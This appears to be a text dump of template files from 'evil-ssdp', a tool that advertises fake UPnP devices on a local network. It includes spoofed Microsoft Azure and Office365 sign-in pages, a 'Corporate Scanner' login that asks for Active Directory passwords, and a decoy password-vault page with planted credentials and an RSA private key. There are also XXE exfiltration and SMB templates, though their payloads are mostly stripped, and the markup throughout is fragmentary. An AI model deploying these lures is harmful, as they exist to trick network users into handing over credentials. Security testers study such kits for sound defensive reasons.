(embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
(bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb


evil-ssdp-08.-beta/templates/bitcoin/service.xml000066400000000000000000000000171337735753500220270ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/microsoft-azure/000077500000000000000000000000001337735753500213515ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/microsoft-azure/device.xml000066400000000000000000000017311337735753500233340ustar00rootroot00000000000000 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Basic:1 Microsoft Azure Storage Azure Cloud Storage Solution Microsoft Corporation Core $session_usn urn:schemas-upnp-org:device:Basic:1 urn:schemas-upnp-org:device:Basic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml evil-ssdp-08.-beta/templates/microsoft-azure/present.html000066400000000000000000000046561337735753500237320ustar00rootroot00000000000000 Something went wrong
Microsoft account symbol
We can't sign you in
Your browser is currently set to block cookies. You need to allow cookies to use this service.
Cookies are small text files stored on your computer that tell us when you're signed in. To learn how to allow cookies, check the online help in your web browser.
©2018 Microsoft Terms of use Privacy & cookies
evil-ssdp-08.-beta/templates/microsoft-azure/service.xml000066400000000000000000000000171337735753500235310ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/office365/000077500000000000000000000000001337735753500177115ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/office365/device.xml000066400000000000000000000017241337735753500216760ustar00rootroot00000000000000 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Basic:1 Office365 Backups Secure Storage for Office365 MS Office Office 365 Backups $session_usn urn:schemas-upnp-org:device:Basic:1 urn:schemas-upnp-org:device:Basic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml evil-ssdp-08.-beta/templates/office365/present.html000066400000000000000000000170231337735753500222620ustar00rootroot00000000000000 Sign in to Microsoft Online Services
Illustration for Microsoft Online Services

evil-ssdp-08.-beta/templates/office365/service.xml000066400000000000000000000000171337735753500220710ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/password-vault/000077500000000000000000000000001337735753500212135ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/password-vault/device.xml000066400000000000000000000017101337735753500231730ustar00rootroot00000000000000 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Basic:1 IT Password Vault Corporate Password Repository PasSecure Core $session_usn urn:schemas-upnp-org:device:Basic:1 urn:schemas-upnp-org:device:Basic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml evil-ssdp-08.-beta/templates/password-vault/present.html000066400000000000000000000047201337735753500235640ustar00rootroot00000000000000

Infrastructure Passwords

Active Directory

smb.svc:L0llingAw8y
ssdp.svc:Wh3resYourH8sh?
web.svc:H0wsTh3Lur3T8ste?

Cloud Services

AWS secret key 1:
AWS SSH keypair:
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAw/3FQZMBVqoxJ+/j1IBSqAGdcvZh3dqIdJVubi86D06YWvXY
eUps4wMZTSI2ocAtviEvllgfVRGFkj+wZGRbnUfsg+ZiGWlTUiyU0eYnoVq49uci
AZma7ru8EH89VEx6XILz83BQ93THRSH1gA57YqABamKC0Ojxkq0Rq1dsFTQUsPeF
tVMxu0HeT0uYbwT9mDcEbNDa9UDH+Xd9M+2Lh6Zprz7TQkCRWQnddpZhb9nWfCaX
E8YPgkCyhcwOjkHHEYcOt/R+J/tKgh+KvsRfFdmTfVqv84kzvUHap/tSA8vHo/ur
itORNOaFX/50f1gr1c66j+FpKuP2f/j4JN9SlwIDAQABAoIBAQCA0VQMVJYFo1kp
ubeSXUF2oZEeFaifi9oyXmE11J6hnvPunTXKCsvkrY28r+cei1TFacSAWa1GWXzk
ci363ieFCdf/nbYOo7abBShPiam0mQ+HYMVuLcqybPwgD7F8rcOi+INlFwZwjvXG
j5pvr5UTbr1fch4vN1xIHq7FYnFswSZ2LWYPG1M2iOFF5R6vswve6woKaADjfWvV
PYIPixcVXxUuzxNIrXftDQENyNcGRyq8gDoVt6NPwzTpb6W3LCOSMX+oztjJUzA4
jLmnbq01zs1T9e+m64lSziC22k4X6rFddcR9XjJzfTRCbrukfpT3er6bUZknIi5Z
tYT1Tds5AoGBAO3/u6RDrpBpWBrOaEEObt9co1wYV9Oe4W/qiC9UopfF75jTjo5b
3AYIfwBo3hGwQeyU/fpEYfii9Iv+puX9k3fWpj3Uxdt9otuVmQXVU8uvq8uDdz4i
GVNP5naeafONE4EdARF200d3PQKruP1DSUkGtDKygKn0uIakS9bxeFalAoGBANLQ
qXbnjWcMaekSP6DsrF8n1ZKtMQIWMNlY12e06Vau5CoeWdyNVib92y8lruqksBEC
vCWmnepu4tuurnGVW+dXnN5+z8wnQI/+NmeZdhA7Rn3qEn4fCQYG++lS6vGt9Num
s9flzp3Tdqyxywl4P66lVktT5oACEf3XB4/tm3uLAoGBAM58EDUsz1fVPa5MI+FF
f2XkfoqZSCF+98Hcbfj6afJZtU0XRtg11EebuWwGj5wzGo8CmPM3vvQzlQ2civqB
LR9MqIB+iIasks4GFXQdKA1QxTDVR3Atr2E7sgx51hyK6kAbhOC9AgM/7TvS9rUs
Wnm0CkTt33kUq7+M7Yt3hltNAoGAMxqwKgnhxlxFBGIPGKSm+H5AkMj5O2dDujyG
IzbA5emJmAg5gnSksNkTHC/HYkw//i+qinoEiAMPbW/AC/rIB6G+flVBbF0Lkpxu
ddjGvRKReQ6YIwjE+DgTMzGNkL65v9F+gVTNLIdJmn2TGZ2T2nNsIuCY3OkjkWRi
CerwqRcCgYEAsREIGH1hN+T62P1ln9mnXyOj1bg2WcTc8mAORGulJo4BP+kMuH3+
tgZ/9TGHTCx4GDGB0md0eAg6mpr/5VlOyWTARHsVTAevTZ0iSEkqQRDUtfyRfRW6
JX6VMOKZRtXrjXj9pjfxiA6H21SD4chnMr2DwPPDWntsmLj1X5MV+BE=
-----END RSA PRIVATE KEY-----

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD/cVBkwFWqjEn7+PUgFKoAZ1y9mHd2oh0lW5uLzoPTpha9dh5SmzjAxlNIjahwC2+IS+WWB9VEYWSP7BkZFudR+yD5mIZaVNSLJTR5iehWrj25yIBmZruu7wQfz1UTHpcgvPzcFD3dMdFIfWADntioAFqYoLQ6PGSrRGrV2wVNBSw94W1UzG7Qd5PS5hvBP2YNwRs0Nr1QMf5d30z7YuHpmmvPtNCQJFZCd12lmFv2dZ8JpcTxg+CQLKFzA6OQccRhw639H4n+0qCH4q+xF8V2ZN9Wq/ziTO9Qdqn+1IDy8ej+6uK05E05oVf/nR/WCvVzrqP4Wkq4/Z/+Pgk31KX lanphisher@behindyou






evil-ssdp-08.-beta/templates/password-vault/service.xml000066400000000000000000000000171337735753500233730ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/scanner/000077500000000000000000000000001337735753500176515ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/scanner/device.xml000066400000000000000000000017641337735753500216420ustar00rootroot00000000000000 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Scanner:1 Corporate Scanner [3 NEW SCANS WAITING] Confidential document scanner. Xerox ScanMaster5000 $session_usn urn:schemas-upnp-org:device:ScannerBasic:1 urn:schemas-upnp-org:device:ScannerBasic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml evil-ssdp-08.-beta/templates/scanner/present.html000066400000000000000000000044601337735753500222230ustar00rootroot00000000000000 Secure Scanner - Login

Log in

You have [3] scans waiting

Please enter your Active Directory username and password


evil-ssdp-08.-beta/templates/scanner/service.xml000066400000000000000000000000171337735753500220310ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/xxe-exfil/000077500000000000000000000000001337735753500201315ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/xxe-exfil/data.dtd000066400000000000000000000001421337735753500215340ustar00rootroot00000000000000"> %all; evil-ssdp-08.-beta/templates/xxe-exfil/device.xml000066400000000000000000000003041337735753500221070ustar00rootroot00000000000000 %dtd; ]> &send; evil-ssdp-08.-beta/templates/xxe-exfil/present.html000066400000000000000000000022201337735753500224730ustar00rootroot00000000000000ECDSA private key (random number / secret exponent)
6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
Bitcoin private key (Base58Check, uncompressed)
5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
Bitcoin extended private key (Base58Check)
xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
(embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
------
ECDSA public key (uncompressed)
047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
Bitcoin Address (uncompressed, length=34):
1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
Bitcoin extended public key
xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
(embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
(bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb


evil-ssdp-08.-beta/templates/xxe-exfil/service.xml000066400000000000000000000000171337735753500223110ustar00rootroot00000000000000 evil-ssdp-08.-beta/templates/xxe-smb/000077500000000000000000000000001337735753500176035ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/xxe-smb/device.xml000066400000000000000000000003111337735753500215570ustar00rootroot00000000000000 ]> &xxe;&xxe-url; evil-ssdp-08.-beta/templates/xxe-smb/present.html000066400000000000000000000022201337735753500221450ustar00rootroot00000000000000ECDSA private key (random number / secret exponent)
6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
Bitcoin private key (Base58Check, uncompressed)
5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
Bitcoin extended private key (Base58Check)
xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
(embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
------
ECDSA public key (uncompressed)
047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
Bitcoin Address (uncompressed, length=34):
1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
Bitcoin extended public key
xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
(embedded public key) -> 036a462bc81368a1ad07cd6bb0a5b08b60e2049719605bd2d82632d8e3e6e8f060
(bitcoin address) -> 17TdEVSEge6e1AVHqpdd8nS6cHGGj23eSb


evil-ssdp-08.-beta/templates/xxe-smb/service.xml000066400000000000000000000000171337735753500217630ustar00rootroot00000000000000